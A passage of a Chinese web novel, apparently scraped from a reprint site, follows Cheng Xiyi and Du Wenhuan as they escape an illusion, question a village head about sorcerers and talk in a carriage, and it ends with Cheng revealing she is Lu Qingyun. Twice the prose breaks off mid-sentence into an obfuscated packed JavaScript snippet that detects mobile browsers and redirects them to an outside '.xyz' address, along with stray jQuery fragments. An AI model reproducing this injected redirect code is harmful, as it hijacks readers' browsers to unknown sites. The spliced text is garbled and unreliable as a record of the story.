他的舌头和嘴唇变成了紫色,就像是放久了的猪肝,脖子处的血管根根分明,在皮肤上显现出一个个针眼大的血点,仿佛就要突破那一层薄薄的皮肤,甚是可怖。 程希夷不禁感叹,杜大人的想象力真丰富,连她看了都有些后背发凉。 不过看起来他就是这幻境的支撑了,终于被她发现了,看她破了这幻境! 说干就干,她挡在那怪物面前,心中默念咒语,右手掐决,朝怪物大喊一声:“太上老君急急如律令,破!” “……” 然而回应她的只有径直穿过身体的怪物,周围什么都没有变化。 程希夷:? 找错了? 冷静冷静。 不是这个怪物,难道是…… 她看向正慌不择路逃跑的杜文焕。 这个幻境里,除了这个怪物散发出的带着强烈恐惧的气,就是杜文焕了。 准确地来说,是杜文焕身上的东西。 她之前想的是既然这里将杜大人困住,自然是有他解不开的某件事或恐惧,所以只待把他恐惧的东西解决了就好。 但既然这条路行不通,就要想想别的办法。 她方才敏锐地发现,在这个幻境变化的瞬间,一股强烈的情感自他身上某样东西发出。 可她又碰不到,真是着急死了。 程希夷逼自己冷静下来,仔细想想他身上的会是什么东西呢? 一个寄托他强烈情感的物件,一个他放进怀中十分珍惜的物件。 必然不会只带一时,说不定多年后仍然佩戴在身上—— 是那枚银锁?! 听杜文焕说过,那枚银锁自他有记忆开始就一直带在他身上。 她定了定神,在心中描绘那银锁的模样,质地、温度、刻痕、文字…… 然后伸手—— 那枚银锁赫然出现在她手心中。 而此时,杜文焕和那怪物终于看到了这个不速之客。 他们眼中倒映出一个清雅灵秀的姑娘,她手持一柄利剑,眼睛里闪着坚定的光,微风卷起蓝衣素裙,青丝轻轻拂过剑刃,走过来握住了杜文焕的手。 年仅十五岁的小杜文焕觉得自己仿佛看到了仙子。 而那个“仙子”微微偏头,居然朝他笑了笑,“杜大人,我来带你回去。” 她笑的时候露出右脸的笑靥,不再像方才一样难以接近,甚至看起来还有些娇俏调皮。 不知是不是程希夷的手给了他安定的感觉,方才混乱恐怖的幻境竟然渐渐安静下来,而那怪物也站在原地不动了。 “我们走。” 程希夷握住那枚银锁,心念密咒,霎时间周围的环境连同那个怪物一起化作几缕烟尘消散了。 她正要高兴,忽然感觉手中一空,转头一看,刚才还牵着的小杜文焕不见了。 “去哪了?”她着急忙慌地四处看,在她差点以为他连同刚才那些东西一块消失时,终于在一棵树下看到了他。 是长大后的,她第一次遇到时模样的杜文焕。 “杜大人!”她跑过去,尽管脚疼得愈发强烈,但她还是先着急地晃了晃杜文焕。 幸好他浅浅又均匀的呼吸告诉她只是在睡觉。 “怎么了?”杜文焕缓缓睁开眼,带着波光的桃花眼茫然地看着她,少了几分平日的冷硬与疏离,多了几分朦胧与缠绵。 程希夷松了一口气,用剑撑着站起身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13665530|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便要去扶他。 杜文焕不必她扶,自己站起来后反倒关心她:“你的脚伤怎么样了?” “有点疼,不过不碍事。”程希夷笑了笑,避开了他的眼神。 不知道为什么,一看他的眼睛脸上就发烫。 她想起方才的事,故作轻松地说:“我刚刚在幻境里看到的少年时期的杜大人,那时候的你虽然看起来比现在还不好亲近,但稚气未脱的模样还真的十分可爱。” 她的本意是想打趣他以此给自己的心松松绑,现在的气氛有些奇怪,她不好意思同杜文焕说话,但她又想同他说话,所以只盼能像从前一样,好让她能自在一点。 “可爱?”杜文焕琢磨着她的话,这个词居然能用在自己身上,他倒是从她的语气中猜出了一些意思,“你难道想同幻境中年少的我多待一会么?” “嗯?”程希夷眨了眨眼,竟认真地思考了下他的提议,最后得出结论,“逗年少时的杜大人一定很有意思。” 杜文焕哑然失笑,“我们出去罢?你知道怎么出去么?” “知道。”程希夷点点头,自从听了天君那番话,她能够感受到这个幻境里造出的一切,自然也能找到出去的路。 似乎感应到她的意志,他们面前慢慢变出一座藤蔓编织出的桥来。 “走罢。” 他们俩踏上那座桥,桥身很稳,并没有因为是藤蔓编织的而不牢固。 程希夷忽然问:“杜大人,你在十五岁时遇到那个黑衣人之后怎么样了?” 尽管她知道最后没事,但他那么恐惧黑衣人,想必确实发生了什么,她有些担心。 杜文焕的回答却给她猝不及防的疑惑:“什么黑衣人?” “嗯?就是你被叫去京兆府问话后在北院遇到一个和杜夫人在说话的黑衣人啊。” 杜文焕眼睛里满是困惑:“你是说绑架案后我被叫去京兆府问话,那之后发生的事?” “对啊。” “那之后我就回西院休息了,并没去继母住的北院,也没见过黑衣人。” 程希夷努力描绘那个人的模样:“带着面具,穿着一身黑袍,跟那些巫师有些像,但袍子不一样,更干练,巫师穿的更宽大……” 杜文焕也根据她的描述认真思索了一会,才说:“并没有这个人,十五岁之前的记忆是有些缺失,但在那之后的事我都记得,并没有见过这种黑衣人。他们当时在做什么?” 程希夷恍然大悟,连忙陈述道:“哦对,那个人在和你继母说……” “说……”她晃了晃头,明明想说却突然记不起来了。 “怎么了,说什么?” 回忆了许久,还是一点没想起来,程希夷最后只好丧气地说:“我不记得了。” “虚虚实实,幻梦之境。”杜文焕安慰她,“幻境里的事真假难辨,你我都不记得的想必是这个幻境影响形成的虚像,既然不记得应当也不算重要。” “嗯。”程希夷也觉得既然是未曾发生的事,也没必要纠结。 她将银锁拿出,还给杜文焕,笑道:“杜大人,这次要将银锁收好了。在这个幻境中,我可是第二次拿到它了。” 见她的笑容,杜文焕也不禁低眉浅笑,鸦翅般睫羽下是一双含情眼,“我会好好保存的,这东西连接你我,若我失了,便是你得。” 程希夷不常见他的笑容,原来他笑起来的时候,眉眼舒展开,驱散那股常伴的孤独感后,就像一个温和的世家公子,一笑能醉人。 她不自觉地开口说:“杜大人,你笑得很好看。” 杜文焕一顿,勾起的唇角平放下来,眼中的情意变成了慌张,耳根却悄悄红了。 程希夷也发现这话已经超过了打趣的范畴,忙转过去捂住自己发烫的脸,一边快步疾走一边说:“我我我我看到出口就在前面了,走吧杜,杜大人。” 她将这话时差点咬到自己的舌头,声音也细细的,偏还故意大声说话掩饰,倒是更像欲盖弥彰了。 前方便是桥的尽头,尽头处有一白色光圈,应当就是出口。 只是此刻的二人心思早已不在出口上了。 52. 戏谑 一阵光芒掠过,程希夷缓缓睁开眼,发现自己正身处一间昏暗的房间里。 周围的陈设十分简陋,一张供桌,几把竹凳,供桌前挂着一幅观音图,旁边的破瓷盘上摆着已经渐渐失去水分的苹果。 杜文焕正站在供桌前观察那幅画。 “怎么了,这幅画有什么问题吗?” “方才我们是从这幅画里出来的。”杜文焕纤细修长的手指抚上那幅画,一层薄薄的灰尘附在了他的手指上,“这里只有观音图上有灰尘,而且供桌上也是放久了的苹果。若这家主人不信佛,为何要挂观音图呢?” 程希夷倒是很快有了猜测:“或许是为了掩人耳目,作为天君那幅画的通道之一。” 闻言,杜文焕疑惑地转过头问:“天君是谁?” “是那群巫师的头头,”程希夷才想到他并未见过天君,“我在地下的洞穴时,那群巫师说天君想要见我,就用咒语和阵法蛊惑我进了一幅画中。” 杜文焕微微点头:“我也是从那幅画进去的,说起来有点古怪,我醒来后旁边站着一个戴着轻纱帷帽的白袍道人。她告诉我你已进入画中,若我能进去尚且还有一线生机。” “白袍道人?”程希夷在那洞穴之中并未见到这种打扮的人。 脑子里突然闪过一个人影,她想到了一个人,慌忙抓住他的衣袖,“她长什么模样?” “她的脸被遮得严严实实,看不清模样,”杜文焕不知她为何突然这么着急,忙将自己的观察和盘托出,“轻纱之下,隐隐约约可见是个三十多岁的妇人,但声音却十分苍老。” 程希夷慢慢松开紧抓他衣袖的手,眼神变得失焦,自言自语道:“是了,师尊的模样看起来也就三四十岁的年纪,可为什么声音会很苍老,是闭关的缘故么?而且师尊为什么会在这里?” “你怎么了?”杜文焕走近她,目带担忧,“她是你认识的人?” “她可能是我师尊。”程希夷曾答应过不再隐瞒,“但师尊怎么会在这,她不该这么早出关,难道真的要出什么事了……” “会出什么事?”杜文焕听她语气沉重,猜想必是有什么他不知道的事,“你在那幻境之中看到什么了?” “是天君说,天下将要大乱,”程希夷皱起眉头,思索着每一句天君同她讲过的话,“说我迟早会看到这一局面,而我作为他的继任者,绝不会置之不理。” “继任者”这个词似乎勾起了她极大的痛苦,她死死抓住杜文焕的手腕,抬眼看着他,眼中似乎还有泪光闪烁,“他是我痛苦的罪魁祸首,我怎么可能成为他的继任者呢?我绝不会像他一样踏上那肮脏血腥的天君之位!” 回应她的是耳边一声轻柔的叹息,如同温水一般拂过她焦躁的心,让她莫名平静了下来。 杜文焕见到她的泪眼,顾不得身上干涸的血迹和心中压抑的感情,将她拢入怀中,轻拍她的后背,替她顺气,“我知道你不会的。” “你不奇怪吗?”程希夷离开他的怀抱,直视他的眼睛,“你不怀疑我是谁,为什么跟那些巫师又扯上关系?说真的,这些到现在我自己都不明白……” “我确实有太多不知道的事了,”杜文焕承认自己的浅薄,“但……” “小心,有人!”程希夷瞥到窗外有几个人影一闪而过,将杜文焕推到墙角隐藏起来。 然而那几个人已经发现了他们,猛一推门,一群手持佩刀的衙役闯了进来,为首的是之前同他们一块进密道的孙恒。 程希夷松了口气,可孙恒和那几个差役的脸色却很古怪,除了孙恒一闪而过的庆幸,其他人看向他们的眼神里带着戏谑和……暧昧? 顺着他们的眼神,程希夷看向被她抵在墙角的杜文焕,才发现自己几乎都要扑到他怀中了。 而且自己头发散乱,衣裙破了一角,眼睛还红红的,被杜文焕半环着腰,要多奇怪有多奇怪,任凭谁看了都会觉得两个年轻男女在私会。 杜文焕倒是十分冷静,搂着她站起身,顺势将她往后一挡,严严实实遮住了那些衙役调笑的目光,又冷冷地盯回去。 那些衙役看见他锐利冷淡的眼神,也都收敛了神色。 他上前几步,走到窗棂处,“孙恒,你们怎么会到这里来?” 借着窗外的光,孙恒看清他沾满血迹的外袍,心下也明白了几分,收起那旖旎的心思,恭恭敬敬地说:“杜大人你们掉入陷阱后,属下将那贼人捉住,顺着指引找到余下的村民,只是未曾找到一个巫师,所以派人细细搜寻这里的每一间农舍,没想到发现了二位。” “离我们掉入陷阱后过了多久?” “约莫两个时辰。” “嗯,”杜文焕语气平淡冷清,“我与程姑娘掉入陷阱后找到了另一个出口,不想刚出来就碰上你们。那些村民都被你们带去哪里了?” 孙恒:“在村口,由县尉大人看守。” “好,你们先继续搜剩下的农舍,我与程姑娘去村口与县尉汇合。” “是!” 孙恒听命,领着衙役们出去了。 见他们离开,程希夷一瘸一拐走到杜文焕身边,“我们走罢。” “你的脚伤是不是加重了?”杜文焕见她行路比幻境时要吃力,眼里闪过担忧,上前扶住她。 “只是普通的伤。”程希夷笑了笑,表示自己没事,可额头上的汗珠还是掩饰不住,“倒是你,我们摔下去时受了那么重的伤,你的伤无妨吗?” 她的眼睛不自觉瞥那官袍上触目惊心的血迹,残破的衣裳下露出透出暗红的纱布,可知他的伤其实也没好,只是在硬撑。 “我的伤不重,”杜文焕让她宽心,“那白面具巫师的医术高明,替我的腿正了骨,又不知给我喂了什么东西,后背的血止住了,身上的伤口也没那么疼了。” 听了这话,程希夷更为担心了:“哪有见效如此快的药,他不会在你身上下什么巫蛊罢?” 说着就上手察看,刚摸上他的领口,却被捉住了手。 “这里不是个合适的地方,我们回去再看罢?”杜文焕叹了口气,垂眸无奈地看着她,“当务之急是先解决这个村子的问题。” “……”程希夷原本什么都没想,被他这么一说,不知想到了什么,脸顿时就红了,将手抽出,默默往后退了一步,又担心他走不动,“好。你,你伤得比我重,我扶着你罢?” 杜文焕一挑眉,眼睛掠过她受伤的脚,又见她再一次倔强地表示自己绝对没事,轻笑一声,将小臂伸过去,“那就有劳了。” 谁扶谁还不一定呢。 …… 村口,县尉着急地团团转,他手持马鞭厉声询问村长:“你们那密道里的陷阱还有什么入口,为何去找了一圈没找到?” 村长已经没了之前祭祀阿鸢时的那份嚣张气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13717744|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焰,身上被鞭子抽了数道血淋淋的痕迹,他胆战心惊,说出的话几乎不成句了,“那是祖上传下来的机关,小人也只了解皮毛,那里到底还有哪些洞穴,小人真的不知道啊!” “还敢说谎!”县令又狠狠抽了他一鞭,村长身上顿时皮开肉绽,他禁不住这种打,昏了过去。 县令见他已经不省人事,心里头仍不解气,狠踹了他一脚。 如今巡抚失踪,他必定是要担责的。 抓住这些村民的功劳也抵不了罪,如今只盼孙恒他们四处搜寻时能发现巡抚的踪迹了,否则乌纱帽不保不说,连小命都说不定会丢。 “少府,少府!” 旁边有人叫他,他正心烦,不想理会。 “是巡抚回来了!”他眼睛一亮,方才那股不平之气烟消云散,往前一看,果然是巡抚。 只是似乎受了伤,和那一同掉入陷阱的女冠搀扶而来。 “杜大人!”他急忙迎上去,“您这是?” 杜文焕看了看他手中带血的马鞭,“还未过衙门,为何鞭笞他们?” “属下一时情急。” 杜文焕不想在这里同他计较,况且这些村民又不是好人,也就没多责问。 他问:“那些村里的姑娘呢?” 县尉:“都在阿巧家里,派了人在门口守着。” 正说话时,孙恒带着其他人回来了,还押了几个躲起来的村民。 “还是没有抓到那些巫师?” “没有,应该都跑了,这些人也不知道他们去哪了。” 杜文焕:“那些巫师神出鬼没,加之陷阱复杂,接下来也没什么精力去追捕了。既然已经救出人,此次已经大获成功,先回府衙罢。” 县尉等人:“是!” 杜文焕将那些蹲着瑟瑟发抖的村民扫视一圈,目光又瞥过程希夷的脚,最后定在孙恒的脸上,“这些人可以走路,但那些姑娘们被当作祭品关了数日,想必受了惊吓,走不得山路。孙恒……” “大人有何吩咐?” “你去叫几辆马车来载她们回去。” “是!”孙恒领命,跨上了马,策马疾驰,身影慢慢变成小点,消失在山间。 而县尉站在原地未动,心中郁闷,巡抚怎么好像格外器重那个叫孙恒的普通衙役? “少府,带我们去见那些姑娘罢,本官有事要问。”杜文焕的话唤回了他的神智。 “是……”县尉捕捉到一个词,“我们”? 他看了看巡抚旁边的女冠,她默默站在一旁,左手已经没再扶着巡抚,而右手拿着一把不知从哪来的剑,一瘸一拐地往前走,估计也受了不小的伤。 而巡抚虽然没出手相扶,但看得出来步伐在刻意放缓,余光也时不时转到她身上。 他早就觉得这二人不一般,但以巡抚的地位,别说是个女冠,就是个青楼名伶,别人也说不得什么。 这女冠也确实生得还不错,去驿馆时他就听到风声,说是巡抚从县令的府上救了一捅了县令公子的女子,可怜那县令公子气若游丝,县令吴金也不敢说什么。 现在见这女冠手持利剑,眸子里寒光凛凛,如降世降鬼的九天玄女,又见巡抚如此关心她,想必这人就是她了。 不过也不是他能管的,此次大柳树村救人,能让他有一二分功劳就不错了。 少说多思,争取能多一点功劳罢。 53. 乡志 由县尉在前领着,一行人进了屋,阿巧正在安抚那些受了惊吓,在死亡的恐惧中待了许多天的姑娘们,给她们递水或是说说话。 见一群人浩浩荡荡闯了进来,她们像惊吓过度的猫儿,惊恐地张大眼睛,身体下意识往墙角瑟缩。 阿巧也往门口一看,不自觉攥紧手,可一见那人群里有个熟悉人影,心里那份警惕顿时烟消云散。 “道长!” 她迎上去握住程希夷的手,又见她发丝散乱,形容狼狈,忙问:“您受伤了吗?” 程希夷之前答应过回来救她们,果然做到了,她对这位年纪不过长她二三岁的女冠生出由衷的钦佩和崇敬。 “没事。”程希夷冲她笑了笑,语调温和,“要是有伤,也是旧伤。” 又见这些姑娘里并未有两个人,问:“那个聋哑小姑娘和阿鸢呢?” 阿巧说:“药效未过,同鸢姐在里屋睡着。” 杜文焕眼睛扫过哆哆嗦嗦的姑娘们,问阿巧:“她们怎么样了?” 阿巧认得他,在洞穴中见过,县尉对他也是恭恭敬敬,应该是个不小的官,但他看起来却比县尉年轻很多。 她警惕地打量他几眼:“不大好,被关太久了,之前一直有人取她们的鲜血,即使被救,一时也还缓不过来。你要做什么?” 县尉见她说话不客气,上前一步呵斥:“这是巡抚大人,你一区区小民怎么敢这么和大人说话?!” “巡抚?”阿巧皱了皱秀气的眉头,她不知道巡抚是几品官,平常也没听过,但她也知道方才自己说话太急,低下头说,“请大人恕民女不知之罪。” “嗯。”杜文焕淡淡应了一声,刚才也没注意她的话有多不恭敬,反倒是一直观察着那些姑娘。 她们一个个身体瘦弱,面色凹陷而苍白,根本不像是十来岁的模样。 “你们不必担心,”杜文焕对阿巧和其他姑娘说,“本官既然来了,一定会将此事追查到底,将那些祸害你的人依律查办。所以,本官有几个问题需要你们如实回答。” 闻言,有几个大胆的姑娘抬起头,悄悄地瞄了这个年轻官吏几眼。 他逆着光,绯红色圆领官袍半隐藏在黑暗中,语气平缓却笃定,幽深的眸子像是一眼见不到的深潭,表面平静,实则内里暗流涌动。 阿巧似被打动了,主动说:“大人若是想问什么便问民女罢。请先上座。” 杜文焕微微点头,侧身去扶程希夷,屋中心的木桌旁有一张长凳,他便顺势随她在桌旁坐下,“你可知那几个巫师是从哪来的?” 阿巧垂手答道:“民女只知道他们是从南边来的,具体的恐怕只有村长和老族长知道了。” 之前审问村民的县尉忙说:“村长和老族长的供词也是一样,那两个巫师只说自己从南边来,连面具下的真面目都未曾看到。” 杜文焕看了他一眼,又问阿巧:“这药是如何卖出去的,又是通过什么渠道?” “药炼制好后,由那两个巫师经手卖出,银钱与村民分红。” “这么说,你们不知道京城里买这药的是何人?” “不知。” 杜文焕吩咐县尉:“叫大柳树村的村长进来。” “是。” 村长被半拖拽着过来了,他已经缓过一口气,一见杜文焕便跪在地上,膝盖撞在地板上,发出“咚”的一声响。 “大人饶命,大人饶命。” 程希夷见他这模样,嗤笑一声,她刚来时,这村长连同村民仗着人多威风凛凛,如今被鞭笞得体无完肤,胆怯如鼠,不得不说天理昭昭,自有人定。 村长隔得近,听到这一声女子发出的笑,下意识抬起头,目光扫到她脸时,顿时瞪大双眼,惊诧道:“你是那个灾星!” “呵,”听他这么称呼自己,程希夷冷笑道,“若我对你们这村子来说是灾星了,对那些受迫害的姑娘来说就是吉星。” 杜文焕蹙眉警告村长:“若你再口出恶言,就换个人来问话,你这条小命不要也罢。” 村长忙低眉垂首,又给程希夷磕头,“不敢了,不敢了。” “本官问你,你可知这巫师是从哪里来的?” “从南边,具体的草民就不知道了。” “那他们来多久了?” “不过半月。” “撒谎!”杜文焕冷冷地说,“这地道中的机关非一日可以建成,而那些巫师对它熟悉非常,怎么可能只有半月?” 村长慌慌张张辩解:“确实只有半月,这些机关是祖上传下来的,草民也不知他们为何如此熟悉。” “那些机关是从多久开始有的?” “约莫十几年前,草民父亲还在的时候就有了。” 杜文焕想到在洞穴中找到的那封十几年前的血书,显然程希夷也想到了,二人对望一眼,眼里都有一丝探究和疑惑。 单听这人说是说不清楚的,杜文焕问:“你们这可有乡志?” 村长犹豫了一下,方才说:“有的,在祠堂里。” 县尉在一旁时刻关注着,还未等杜文焕开口,忙主动说:“属下这就叫人去取。” “嗯。” 不多时,乡志已经取来,是一本厚重泛黄的大书,显然这村子可记载的事还不少。 杜文焕将乡志捧到手中细细查阅,里头关于修地道的记载有三处,除了如村长所言十多年前的,还有几处可疑的年份。 村中的地道并非修成于十多年前,而早在二十八年前,就已经开始修缮了。 当时的老村长召集村中青壮年,开始本是依巫师之言,替村子改风水才修建地道。 这事当年的县衙也知道,因为崇福初年,刚继位的皇帝十分崇敬巫师,所以底下的臣子百姓纷纷效仿,这个村子甚至把此事堂而皇之写入村志。 而崇福八年,赤县新来了一个县官,认为此地大行巫术浪费人力与财富,便下令禁止此类风气,又驱逐巫师,可惜这长久的习俗并非是一人能左右的。 因此大柳树村村民白天表面听从县官的命令,暗地里,让一群巫师躲进地道,逃避追捕。 不出一年,那个县官就调任了,村中继续修建地道,其中的机关也大致成型。 直到崇福十二年, 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阿巧闻言,忍不住上前啐了他一口,“呸!明明是为了钱,转什么运?你们的命是命,我们的命就不是命了?” “你这丫头!”村长抬起头恶狠狠地盯她,面前位高权重的大人他不敢得罪,可这一个小小的弱女子竟然敢顶撞自己,这不平之气顿时盈满胸口,“不过是取一点血而已,换来的钱还不是给你们买了食物,不然你们早不知道饿死在哪了!” “取一点血?”阿巧像听到什么笑话似的,发出一声怪异的笑,“被关在黑屋子里,被人当作牲畜一样养着,只待血抽干之时,就将她们埋在后山那块平地里。若不是我假装顺从,说可以帮你们劝她们,说不定早也被关进去了罢!” 她这话说的都是实情,又说到后山那块坟地,村长也没话说,只心虚地低了低头,不似方才那么理直气壮了。 一旁的程希夷听她说到后山平地,便想起初来是见到的那些求她申冤的鬼魂,如今残害它们的已经落网,想必也该安息了罢。 这边审理完,孙恒那边很快带了马车过来。 村里的姑娘都跟随安排上了马车,阿巧带着醒来的阿鸢同坐一辆,至于聋哑小姑娘,这几日同阿巧熟了,便也黏着她上了同一辆。 程希夷本也想和她们同坐,只是刚好都坐满了。 “同我一块罢。”杜文焕掀开车帘,伸手请她上来。 周围的衙役,除了孙恒那一队已经见怪不怪了,其他人都或多或少有些惊讶,毕竟这位巡抚大人待人处事一向平淡冷峻,对谁都是一样,但现在这主动邀请,不是偏爱都说不过去了。 何况他眼眸里还有难以忽略的闪动的光,如同细碎的星子,让人忍不住探究他这样看着的究竟是什么人。 程希夷并不在意他人的目光,只是一见到他,心情就会变得很奇怪,默念几遍清心咒,方才让自己平静下来,笑着对他说:“多谢杜大人了。” 语气坦荡从容,倒是阴差阳错打消了旁边人的怀疑。 扶着他的手,程希夷进了车厢,原本宽敞的车内空间瞬时变得狭窄,空气也稀薄了,她坐到一角,紧张地抓住自己的衣袖。 54. 矛盾 杜文焕坐在左侧,马车的空间不小,但衣袖难免会碰到,此时二人在封闭空间中独处,空气中弥漫着滞涩,叫人想开口又不敢开口,他一时忘记方才想说什么。 程希夷瞄了一眼,他坐得端正,还刻意拉远了距离,这副模样倒是与幻境中所见的十五岁的杜大人一模一样,怪有趣的。 她这样想着,心里的那股紧张陡然消失,笑着主动开口:“杜大人,方才那乡志中所载,与那洞穴中拾到的血书有重合的时间,想必大人也有同样的看法?” “嗯。”杜文焕暗暗松了口气,本来请她同乘也是想梳理此案,方才一时紧张,竟都忘了,此时注意力转到案件上,紧绷的身体也放松了些许,“这二者重合,除了时间之外,还跟同一人有关。” “谁?”程希夷问。 “金谷州刺史。” “金谷州刺史……”程希夷喃喃,在心中将他的事迹串联起来,“这个人很聪明,当年顶着巨大压力剿灭巫众,现在看来的确是高瞻远瞩。” 杜文焕赞同她的看法,但又微微摇头,似是不解,“可如此厉害的人,我在官场中并未听见过他的姓名。” “这应该是十多年前的事了,或许后来被贬黜了。”程希夷并不太了解官场,略微思索后,说。 “不大可能,”杜文焕向她说明,“即使后来被贬,这也是官场上的一份谈资,但不会没有一点风声。” “这人在当时已经是刺史,官居三品,乃是皇帝器重的大官,不可能就这么了无音讯。而且,此人于崇福十二年在此处剿灭巫众,一年后皇帝就下了禁巫令。若说没有关联,也绝无可能巧合到这种程度。” “你的意思是说此人犯了罪,被抹掉了痕迹?”程希夷想来想去,也只有这一种可能。 杜文焕补充:“而且不会是一般的事,说不定与禁巫令有关,此事我回京城后便去查查。” 听到这,程希夷顿了顿,无言看向他,眼睛里闪着疑惑的光:“与这些巫师扯上关系并无好处,杜大人如今官拜翰林,不必再理会这些事了,为何还要查?” 杜文焕微不可查地叹了口气,最终还是对上她的目光,“我不查,你也会查的罢?” 程希夷倒是没想到他会这么说,怔怔地看着他。 “以那些巫师对待你的态度来看,你与他们一定有着千丝万缕的联系。”杜文焕的语气平静和缓,话语中不参杂一丝对或错的评判,“他们的首领,大巫师说你是他的继任者,而且准确地在这个村庄找到你,将你带入幻境,这不会是一朝一夕可以规划的事。” 程希夷倒吸一口凉气,她想到了那个预言,“在很多年前,我就作为一枚棋子放入他们的棋盘中了。” 她攥紧拳头,指甲深深嵌入肉中,手因为用力过度在微微颤抖。 忽然,手背穿来一阵温暖,她一看,一只骨节分明的手轻柔地覆在她手上,似乎想通过温度传递力量和信心。 “别担心,我会帮你。”杜文焕垂下眼睫,眸光温柔,“若想知道这盘棋局是从何开始的,就要循着他们的行踪追溯到多年以前,解开这个谜。” 程希夷心里涌上酸涩,一向带笑的眸子覆上一层悲伤,“杜大人何必为我如此费心?” “你我之间,既然已经历生死,就不必再说这些。”杜文焕将手默默收回,眼睛看向一边,眼中那点光也暗淡下来。 程希夷察觉到他情绪的变化,刚想开口解释,忽然听得外头有人说:“杜大人,到驿馆了。” “……” 杜文焕将衣摆理了理,没看她,做了个请的手势,说:“程姑娘请下车罢。” 程希夷默然站起身,却发现衣袖被压住了。 杜文焕余光瞥见她不走,转头好奇一看,却见她为难地看着方才的座位,顺着视线,原来是被自己压住了衣袖。 他的心情又沉了几分,默默移开了。 程希夷很想说几句打趣的话缓解气氛,将方才说的话带过去,但她知道如果这么做了,杜大人表面上会顺着她当事情过去,可内心会伤得更深。 她没再说什么,下了车。 驿站外头早已有人等候,丫鬟小春和随侍载松荣见马车上下来了人,忙凑过来扶她。 小春见她青丝散乱,衣裳也破了几处,脚伤似乎还加重了,惊道:“姑娘,您这是怎么了!” “没事。”程希夷摆了摆手,借着她的搀扶,回了驿馆的房间。 等她的身影消失在门后,杜文焕才从马车上下来。 载松荣不看不知道,一看他身上也是狼狈非常,绯红官袍上有好几处干涸的暗红血迹,瞪大了眼睛,惊愕失色,“大人,您和姑娘遇到什么事如此凶险?!” “无妨,事情已经解决了。”杜文焕无言看向驿馆门后那个消失的身影,又转头对载松荣说,“叫个大夫来。” “是。”载松荣领命,又问,“姑娘似乎也受伤了,大夫是先替您诊治,还是先替姑娘诊治?” “……”杜文焕像看傻子一样看了他一眼,“请两个大夫。” “是。”载松荣心想,这不是看你们俩之间气氛奇怪,试探试探么? 请两个大夫怎么能体现您的心意,应该请一个先替姑娘诊治,然后让她知道。您啥也不说,人家怎么会知道您的心思呢? 但这些话想想就可以了,他可不敢说,马上就下去请了。 杜文焕回了自己的客房,刚坐在太师椅上,身心安定之后,方觉得疲惫,身上的那些还未完全愈合的伤也隐隐作痛起来。 不过身上的疼痛都没有心疼。 杜大人何必为我如此费心? 他听了之后,心里像被一块石头瘀堵住一样,不是滋味。 是为这句话而生气么? 不,准确来说,应该是心疼。 为她不理解自己的心思,还不信任他而心疼? 他必须得承认,是有一点,但更多的是为她轻视她自己而心疼。 她认为自己不重要,所以不相信他人为她费心。 在她的心里有一个名为孤独的空洞,早已习惯 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是程希夷的声音,她似乎被风吹得有点冷,语气微微发抖。 他忙开门,见门外的她在这秋凉的夜晚还只穿着一身单薄外衫,“你怎么来了?夜里凉,快回屋去罢。” “不,杜大人,我有话对你说。外头不好说,让我进去罢。”程希夷没听他的话,走进他房中。 杜文焕只好由着她,见外头没人,方才关上门。 他转头看着她无奈地说:“有什么不可以明日说呢?” “因为我有今日不说就睡不着的话。”程希夷走到窗边,烛火照不到她,让她的脸隐藏在黑暗中,遮住了她脸上的悲伤,“杜大人,今日在马车上所言,我并非不信任你,抱歉。” “……我知道。”杜文焕端着烛台走进她,火光照亮了她秀美的脸庞,连带着那份不轻易示人的孤独和悲伤。 “你一定有我不曾了解的身份,它束缚了你,但你也不知道它是好是坏,所以你迷茫纠结痛苦。” 他柔声细语地说:“我想帮你,我可以等,等你信任我的那天。但我希望,你能先信任自己多一点,总有一天,你会冲破他人加在你身上的樊笼,去接受那个真相。” 程希夷摇了摇头,“杜大人,事情比你想的恐怕复杂得多。” 杜文焕不解:“还有什么?” “……”程希夷沉吟半晌,深吸了几口气,方才抬起头直视他,目光幽深,“还记得巫术案里被牵连的那个陆家么?” 杜文焕不懂她为什么突然提到此案,但还是点点头说:“记得。” “我就是十年前陆家大火中幸存的陆侍郎陆知的女儿陆卿云。而这场大火,不是陆侍郎自己放的,而是皇帝。杜大人,是你忠于的至高无上的皇帝烧死了陆家四十余口,害我家破人亡。” 55. 心意 “我就是陆卿云,是巫术案中……” 一时间,连窗外若有似无的鹧鸪声都从耳边消失,天地都静谧下来,只余下杜文焕手中油灯芯子迸发出火星时的轻微的噼里啪啦声。 不知沉默了多久,也许很短,但对程希夷来说时间的每一点流逝都好似很长很长,长到她低下了头,开始后悔自己说得那么快。 其实不说这件事杜大人不会发现,自己又何必这么冲动,想让他知道所有呢? 本来可以相安无事,她可以多待在他身边一段时间,现在好了,她非得破坏这些,这下杜大人会有什么反应呢? 惊讶,恼怒,厌恶还是漠然? 她想的都没有,耳边听到一声轻而无奈的叹息声。 杜文焕将手中的灯盏凑近,暖黄的烛光照到她带着懊悔的脸庞上,缓缓说:“原来是这样,原来你是担心这个。” 他的语气中既没有惊讶,也没有恼怒,平静得就像湖水,只有方才程希夷的话才让它微微泛起涟漪,而后很快归于平淡。 程希夷没有听出他话中的温柔,反而觉得他的语气太过淡然,好像一切早已预料到,这让她想起一个讨厌的故人。 她陡然抬起头,杜文焕一时没想到她方才的模样好像想把自己团成一团塞角落里,现在居然抬头和他对视,一副气势汹汹想和他对峙的模样。 